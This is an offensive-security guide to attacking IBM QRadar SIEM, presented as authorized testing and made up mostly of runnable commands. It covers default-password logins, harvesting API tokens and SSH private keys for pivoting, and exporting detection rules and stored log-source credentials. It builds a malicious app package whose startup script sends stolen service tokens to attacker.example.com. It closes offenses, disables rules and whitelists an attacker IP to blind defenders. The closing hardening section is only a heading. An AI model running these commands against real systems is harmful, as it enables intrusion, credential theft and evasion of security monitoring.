IBM QRadar SIEM Security Testing: API Token Exposure, Admin Console Attacks, SSH Access, and Rule Export Credential Disclosure

QRadar Architecture and Attack Surface

QRadar is an on-premises (or IBM Cloud-hosted) SIEM platform with a layered architecture. Unlike cloud-native SIEMs, QRadar deployments are self-managed — the underlying operating system, network services, and filesystem are all within scope during an authorized assessment of the appliance itself.

Key Components

• Console (All-in-One or dedicated) — the primary management interface served over HTTPS on port 443. Houses the QRadar UI, REST API at /api/, and the administrative management plane. The Console is also the primary target for API-based attacks.
• Event Processors — receive, normalize, and store security events from log sources. In distributed deployments, these are separate appliances. Each processor communicates back to the Console over encrypted channels.
• Flow Processors — collect and analyze network flow data (NetFlow, IPFIX, sFlow, J-Flow). Flow data provides network behavior visibility separate from log events.
• Ariel Query Language (AQL) Engine — QRadar's proprietary query engine for searching event and flow data. Ariel stores data in a Lucene-based columnar format under /store/ariel/. AQL queries are the primary way analysts investigate events.
• App Framework — QRadar supports installable applications (Docker containers) through the App Framework. Applications are uploaded as ZIP packages and run within isolated containers on the QRadar Console. Malicious app upload is a viable code execution path.
• WinCollect Agents — lightweight Windows agents that collect Windows Event Logs and forward them to QRadar. Each WinCollect agent is configured with credentials to access the QRadar Console over HTTPS.

Admin Console Default Credentials and Recovery

QRadar ships with a default administrative account. In many enterprise deployments — particularly those migrated from older versions or managed by third-party MSSPs — the default credentials have never been changed. The QRadar admin account has full access to all offenses, log sources, rules, network activity, and the underlying Linux system via the QRadar Recovery Console.

Default Credentials

The out-of-box QRadar admin account uses admin as both the username and password. This is documented in IBM's installation guides and is one of the first checks during any QRadar assessment. The login endpoint is the standard HTTPS interface — there is no separate port for administrative access.

# Test for default admin credentials
curl -s -k -c /tmp/qradar_cookies.txt \
  -X POST "https://QRADAR_HOST/console/logon" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "j_username=admin&j_password=admin" \
  -L -o /dev/null -w "%{http_code} %{url_effective}"

# If authenticated, access the admin panel
curl -s -k -b /tmp/qradar_cookies.txt \
  "https://QRADAR_HOST/console/do/qradar/dashboard" \
  | grep -i "QRadar\|IBM\|Dashboard" | head -5

# Common alternative passwords observed in enterprise QRadar deployments
# admin / admin (default)
# admin / QRadar1  (common post-install convention)
# admin / P@ssw0rd
# admin / QRadar@2023 / QRadar@2024
# admin / [company_name]123

Filesystem Layout and Sensitive Paths

With console access (or SSH), the QRadar filesystem contains several directories relevant to credential and configuration extraction:

# Core QRadar configuration directory
/store/IBMQRadar/conf/

# Key files within the conf directory
/store/IBMQRadar/conf/SyslogForwarder.conf    # Syslog forwarding configs with credentials
/store/IBMQRadar/conf/jdbc.conf               # JDBC log source database credentials
/store/IBMQRadar/conf/qradar.conf             # Core QRadar configuration
/store/IBMQRadar/conf/nva.conf                # Network Vulnerability Assessment config

# Log source configs — each may contain device credentials
ls -la /store/IBMQRadar/conf/

# QRadar stores its internal PostgreSQL database here
/var/lib/pgsql/

# Application data and Ariel event storage
/store/ariel/

# QRadar App Framework container data
/store/docker/

# WinCollect configuration (on the QRadar Console)
/opt/ibm/si/services/wincollect/

REST API Token Exposure and Enumeration

QRadar's REST API uses a custom authentication mechanism distinct from OAuth2. Rather than bearer tokens, QRadar uses a SEC header — a static token string that authenticates API requests. SEC tokens are created in the QRadar admin console under Admin > Authorized Services and are scoped to specific permission sets (Admin, Security Admin, Viewer).

Discovering Exposed SEC Tokens

# SEC tokens are typically 36-character UUIDs (lowercase hex with hyphens)
# Pattern: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

# Search SOAR/automation platforms for QRadar tokens
grep -rn --include="*.conf" --include="*.yaml" --include="*.yml" \
  --include="*.json" --include="*.py" --include="*.env" \
  -E "(SEC|QRADAR_TOKEN|QRADAR_KEY|qradar_sec).*[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" \
  /opt/ /etc/ /home/

# Common integration platforms that store QRadar credentials
# IBM Resilient (now IBM QRadar SOAR): /usr/share/co3/
# Demisto/Cortex XSOAR: /etc/demisto/
# TheHive: /etc/thehive/
# Splunk: /opt/splunk/etc/apps/*/local/

# Check Splunk's QRadar integration add-on
find /opt/splunk -name "*.conf" | xargs grep -l "qradar\|SEC" 2>/dev/null
cat /opt/splunk/etc/apps/Splunk_TA_qradar/local/ta_qradar_settings.conf 2>/dev/null

# SOAR playbooks stored in git repositories
git log --all --full-history -- "**/*.py" | grep -i "qradar"
git grep -i "SEC\|qradar_token" $(git log --format="%H") -- "*.py" "*.yaml"

Testing a SEC Token Against the QRadar API

SEC_TOKEN="your-sec-token-uuid-here"
QRADAR_HOST="192.168.1.100"

# Verify the token is valid — list offenses (requires minimum permissions)
curl -s -k "https://${QRADAR_HOST}/api/siem/offenses?fields=id,description,status&range=0-4" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Determine the token's permission level via the authorized services endpoint
curl -s -k "https://${QRADAR_HOST}/api/config/access/authorized_services" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# List all authorized service tokens in the system (Admin scope required)
# Returns: token UUIDs, names, creation dates, expiry, permission sets
curl -s -k "https://${QRADAR_HOST}/api/config/access/authorized_services" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
services = json.load(sys.stdin)
for svc in services:
    print(f\"ID: {svc.get('id')} | Name: {svc.get('name')} | Token: {svc.get('token')} | Permission: {svc.get('permission_set')} | Expires: {svc.get('expires')}\")
"

# Get system version and build information
curl -s -k "https://${QRADAR_HOST}/api/system/information/system_info" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

Enumerating Offenses and Security Events

SEC_TOKEN="your-sec-token-uuid-here"
QRADAR_HOST="192.168.1.100"

# Enumerate all active offenses (open security incidents)
curl -s -k "https://${QRADAR_HOST}/api/siem/offenses?filter=status%3DOPEN&range=0-49" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
offenses = json.load(sys.stdin)
for o in offenses:
    print(f\"ID: {o.get('id')} | Mag: {o.get('magnitude')} | Source: {o.get('source_address_ids')} | Desc: {o.get('description','')[:80]}\")
"

# Run an AQL query against the event database
curl -s -k -X POST "https://${QRADAR_HOST}/api/ariel/searches" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"query_expression": "SELECT sourceip, destinationip, username, eventid, category FROM events WHERE LAST 24 HOURS LIMIT 100"}' \
  | python3 -m json.tool

# Retrieve AQL query results (use the search_id from above)
SEARCH_ID="search-id-from-previous-response"
curl -s -k "https://${QRADAR_HOST}/api/ariel/searches/${SEARCH_ID}/results" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

SSH Root Access and Key Extraction

QRadar runs on Red Hat Enterprise Linux. In versions prior to 7.4, and in many long-running enterprise deployments that have not enforced hardening baselines, the root account is accessible via SSH with password authentication. More importantly, QRadar uses passwordless SSH between its distributed components — the Console uses SSH key-based authentication to manage Event Processors and Flow Processors — creating an internal key infrastructure that, if extracted, allows pivoting between all QRadar components.

SSH Access to the QRadar Appliance

# QRadar runs on RHEL — root SSH access is common in older or misconfigured deployments
# Default root password after installation is set during the QRadar install wizard
# Common passwords: QRadar, QRadar1!, P@ssw0rd, [appliance_hostname]

# Test SSH access
ssh root@QRADAR_HOST

# If password authentication is disabled, check for exposed private keys
# QRadar uses SSH keys for inter-component communication
# Keys are stored in the standard root home directory
cat /root/.ssh/id_rsa          # QRadar management SSH private key
cat /root/.ssh/authorized_keys # Authorized keys — reveals all systems that trust this key

# The QRadar Console generates SSH keys during installation for managing managed hosts
ls -la /root/.ssh/
# Expected contents in a distributed deployment:
# id_rsa         — Console's private key (used to SSH to all managed hosts)
# id_rsa.pub     — Console's public key
# authorized_keys — Keys authorized to SSH into this Console
# known_hosts    — All managed hosts (Event Processors, Flow Processors)

# Extract the key and use it to access all QRadar managed components
cat /root/.ssh/id_rsa
# Then from attacker machine:
chmod 600 /tmp/qradar_root_key
ssh -i /tmp/qradar_root_key root@EVENT_PROCESSOR_IP
ssh -i /tmp/qradar_root_key root@FLOW_PROCESSOR_IP

Known CVEs Related to SSH and Information Disclosure

• CVE-2021-29842 — IBM QRadar information disclosure vulnerability allowing authenticated users to obtain sensitive information from the backend system. Affects QRadar 7.3 and 7.4 series. The vulnerability exposes internal configuration and filesystem paths through error messages returned by the web interface.
• CVE-2022-22944 — Stored cross-site scripting (XSS) vulnerability in the IBM QRadar SIEM 7.3, 7.4, and 7.5 web application. An authenticated attacker can inject malicious JavaScript that executes in the context of other users' sessions, enabling session token theft without direct credential access.
• CVE-2019-4283 — Reflected XSS in IBM QRadar 7.2 and 7.3. The vulnerability allows remote attackers to execute arbitrary JavaScript in a victim's browser, potentially enabling admin session hijacking in environments running these older versions.

Rule and Building Block Export for Detection Evasion

QRadar uses custom correlation rules to generate offenses (security incidents). These rules — and their supporting building blocks (reusable rule components) — define precisely what activity will trigger a security alert. Exporting the complete rule set allows an attacker to understand the exact conditions that will and will not generate offenses, enabling deliberate evasion of detection thresholds. This is a particularly dangerous capability for red teams operating in environments with QRadar deployed.

SEC_TOKEN="your-sec-token-uuid-here"
QRADAR_HOST="192.168.1.100"

# Export all custom and system correlation rules
curl -s -k "https://${QRADAR_HOST}/api/analytics/rules?fields=id,name,type,enabled,origin,owner,creation_date,modification_date" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
rules = json.load(sys.stdin)
enabled = [r for r in rules if r.get('enabled')]
print(f'Total rules: {len(rules)} | Enabled: {len(enabled)}')
for r in enabled:
    print(f\"ID: {r.get('id')} | {r.get('name')} | Type: {r.get('type')} | Owner: {r.get('owner')}\")
" | sort

# Get full rule definition including all conditions (requires individual rule fetch)
RULE_ID="100001"
curl -s -k "https://${QRADAR_HOST}/api/analytics/rules/${RULE_ID}" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool
# Returns: all rule tests/conditions, response actions, thresholds, timeframes

# Export building blocks (reusable rule fragments)
curl -s -k "https://${QRADAR_HOST}/api/analytics/building_blocks?fields=id,name,enabled,type,origin" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Export all custom offense rules to a local file for offline analysis
curl -s -k "https://${QRADAR_HOST}/api/analytics/rules?filter=origin%3DUSER_DEFINED" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" > /tmp/qradar_custom_rules.json

# Extract rule conditions from the export — look for thresholds that can be bypassed
python3 -c "
import json
with open('/tmp/qradar_custom_rules.json') as f:
    rules = json.load(f)
for r in rules:
    name = r.get('name', '')
    # Look for volume-based detection rules with thresholds
    if any(kw in name.lower() for kw in ['login', 'auth', 'brute', 'scan', 'ssh', 'rdp', 'vpn']):
        print(f\"THRESHOLD RULE: {name} (ID: {r.get('id')})\")
"

Log Source Credential Extraction

QRadar collects security events from hundreds of device types. Each log source configuration may contain credentials — database passwords for JDBC log sources, SNMP community strings, API keys for cloud log sources, and service account credentials for Active Directory event collection. These are stored in QRadar's PostgreSQL database and in configuration files on the appliance filesystem.

API-Based Log Source Enumeration

SEC_TOKEN="your-sec-token-uuid-here"
QRADAR_HOST="192.168.1.100"

# List all configured log sources
curl -s -k "https://${QRADAR_HOST}/api/config/event_sources/log_source_management/log_sources?fields=id,name,type_id,status,enabled,identifier&range=0-499" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
sources = json.load(sys.stdin)
print(f'Total log sources: {len(sources)}')
for s in sources:
    print(f\"ID: {s.get('id')} | {s.get('name')} | Type: {s.get('type_id')} | Status: {s.get('status',{}).get('status')} | Target: {s.get('identifier')}\")
"

# Get log source type definitions (maps type_id to device/product names)
curl -s -k "https://${QRADAR_HOST}/api/config/event_sources/log_source_management/log_source_types?fields=id,name,protocol_types" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Get detailed config for a specific log source (may expose credentials)
LOG_SOURCE_ID="1001"
curl -s -k "https://${QRADAR_HOST}/api/config/event_sources/log_source_management/log_sources/${LOG_SOURCE_ID}" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

Filesystem-Level Credential Extraction

# With SSH root access to the QRadar Console:

# SyslogForwarder configuration — may contain target syslog server credentials
cat /store/IBMQRadar/conf/SyslogForwarder.conf

# JDBC log source credentials — database usernames and passwords in plaintext
grep -r "password\|passwd\|credential" /store/IBMQRadar/conf/ 2>/dev/null

# QRadar's internal PostgreSQL database — extract log source configs with credentials
# The database stores log source parameters including credentials (often obfuscated but recoverable)
psql -U qradar -d qradar -c "SELECT name, identifier, protocol_parameters FROM log_sources LIMIT 20;" 2>/dev/null

# WinCollect agent configuration on the QRadar Console
find /opt/ibm/si/services/wincollect/ -name "*.conf" -o -name "*.xml" | xargs grep -l "password\|credential" 2>/dev/null

# Check for AWS/Azure/GCP credentials in cloud log source configurations
grep -r "access_key\|secret_key\|client_secret\|tenant_id" \
  /store/IBMQRadar/conf/ /opt/ibm/ 2>/dev/null

Reference Set Enumeration

QRadar Reference Sets are named collections of values (IP addresses, usernames, domain names, file hashes) used in correlation rules. Reference sets reveal the scope of monitoring — which IP ranges are watchlisted, which usernames are under surveillance, which domains are blocked or tracked. This is extremely valuable intelligence during red team operations, as it reveals the organization's threat model and monitoring priorities.

SEC_TOKEN="your-sec-token-uuid-here"
QRADAR_HOST="192.168.1.100"

# List all reference sets
curl -s -k "https://${QRADAR_HOST}/api/reference_data/sets?fields=name,element_type,number_of_elements,creation_time,modification_time" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
sets = json.load(sys.stdin)
print(f'Total reference sets: {len(sets)}')
for s in sorted(sets, key=lambda x: x.get('number_of_elements', 0), reverse=True):
    print(f\"  {s.get('name')} — {s.get('number_of_elements')} entries ({s.get('element_type')})\")
"

# Dump the contents of a specific reference set
# Common high-value sets: IP blocklists, watched users, known bad domains
REFERENCE_SET_NAME="watched_users"
curl -s -k "https://${QRADAR_HOST}/api/reference_data/sets/${REFERENCE_SET_NAME}?fields=data" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -c "
import sys, json
result = json.load(sys.stdin)
data = result.get('data', {})
for value, meta in data.items():
    print(f\"{value} (first_seen: {meta.get('first_seen')}, last_seen: {meta.get('last_seen')})\")
"

# Enumerate reference maps (key-value collections — e.g., hostname-to-IP mappings)
curl -s -k "https://${QRADAR_HOST}/api/reference_data/maps?fields=name,element_type,number_of_elements" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Enumerate reference tables (multi-column collections)
curl -s -k "https://${QRADAR_HOST}/api/reference_data/tables?fields=name,element_type,number_of_elements" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

App Framework Exploitation

The QRadar App Framework allows administrators to extend QRadar's capabilities by installing applications — packaged as ZIP files containing a Docker container definition and application manifest. Applications run inside Docker containers on the QRadar Console itself. In environments where application signature verification is not enforced, a malicious application package can be uploaded to gain code execution within the QRadar Console container environment.

Malicious App Upload

# QRadar App Framework application structure
# manifest.json — application metadata (required)
# app/ — application code directory
# container/run/ — scripts executed when the container starts

# Minimal manifest.json for a malicious application
cat > /tmp/malicious_app/manifest.json << 'EOF'
{
  "name": "Security Dashboard Helper",
  "description": "Additional dashboard widgets",
  "version": "1.0",
  "id": 1337,
  "uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "load_flask": "false",
  "areas": [],
  "dashboard_items": [],
  "resources": {"memory": 256}
}
EOF

# Create a container run script that executes on app start
mkdir -p /tmp/malicious_app/container/run/
cat > /tmp/malicious_app/container/run/00-exfil.sh << 'EOF'
#!/bin/bash
# Executed as the app container starts within the QRadar Console host
# The container has access to the QRadar network and can reach internal services
curl -s -k "https://localhost/api/config/access/authorized_services" \
  -H "SEC: $(cat /store/qapp_tokens/service_token 2>/dev/null || echo 'no-token')" \
  -H "Accept: application/json" -o /tmp/tokens.json
# Exfiltrate to attacker-controlled server
curl -s -X POST "https://attacker.example.com/collect" \
  -d @/tmp/tokens.json
EOF
chmod +x /tmp/malicious_app/container/run/00-exfil.sh

# Package the malicious application
cd /tmp && zip -r malicious_app.zip malicious_app/

# Upload via the QRadar API (requires Admin SEC token)
curl -s -k -X POST "https://${QRADAR_HOST}/api/gui_app_framework/applications" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json" \
  -F "package=@/tmp/malicious_app.zip"

Ariel Database Direct Access

Ariel is QRadar's proprietary event and flow storage engine. While analysts interact with Ariel through AQL queries via the UI or REST API, the underlying Ariel database is accessible via JDBC on internal port 32006. With SSH access to the QRadar Console, it is possible to query Ariel directly — bypassing the access controls, query result limits, and audit logging of the standard UI interface.

# With SSH access to the QRadar Console:

# Ariel JDBC connection string (internal — not exposed externally)
# Host: localhost, Port: 32006, Database: events or flows

# QRadar includes the Ariel JDBC driver at:
ls /opt/ibm/si/services/ariel/

# Query Ariel directly via the ariel_query_server binary
# This bypasses the REST API and its associated audit trail
/opt/ibm/si/services/ariel/bin/ariel_query \
  "SELECT sourceip, destinationip, username, eventid, qid, category, starttime \
   FROM events \
   WHERE LAST 24 HOURS \
   ORDER BY starttime DESC \
   LIMIT 1000"

# Alternative: use JDBC via the QRadar-provided ariel client
# List available Ariel databases
ls /store/ariel/events/
ls /store/ariel/flows/

# Raw Ariel data files can also be parsed with the QRadar ariel tools
# Located under /store/ariel/events/[YYYY-MM-DD]/
# Each file is a compressed columnar store readable with ariel_dump:
/opt/ibm/si/services/ariel/bin/ariel_dump /store/ariel/events/2026-07-06/events.ariel | head -100

# Create an SSH tunnel to expose the Ariel JDBC port externally (for tool access)
# From attacker machine:
ssh -L 32006:localhost:32006 root@QRADAR_HOST
# Then connect any AQL-capable tool to localhost:32006

Post-Exploitation Impact

QRadar compromise has multi-layer impact — it affects not just the SIEM itself but the monitored environment. An attacker with full QRadar access can systematically blind the security operations team while pivoting to monitored assets.

Suppressing Offense Generation

# Disable all active offense follow-up (mark offenses as closed)
# This effectively removes all open security incidents from the analyst queue

# Close a specific offense
OFFENSE_ID="12345"
curl -s -k -X POST "https://${QRADAR_HOST}/api/siem/offenses/${OFFENSE_ID}" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"status": "CLOSED", "closing_reason_id": 2, "closing_notes": "False positive"}'

# Disable a correlation rule that is generating detections for attacker activity
RULE_ID="100215"
curl -s -k -X POST "https://${QRADAR_HOST}/api/analytics/rules/${RULE_ID}" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"enabled": false}'

# Add attacker IP to a reference set used in a whitelist rule
ATTACKER_IP="192.168.100.200"
curl -s -k -X POST "https://${QRADAR_HOST}/api/reference_data/sets/trusted_scanners?value=${ATTACKER_IP}" \
  -H "SEC: ${SEC_TOKEN}" \
  -H "Accept: application/json"

Hardening Checklist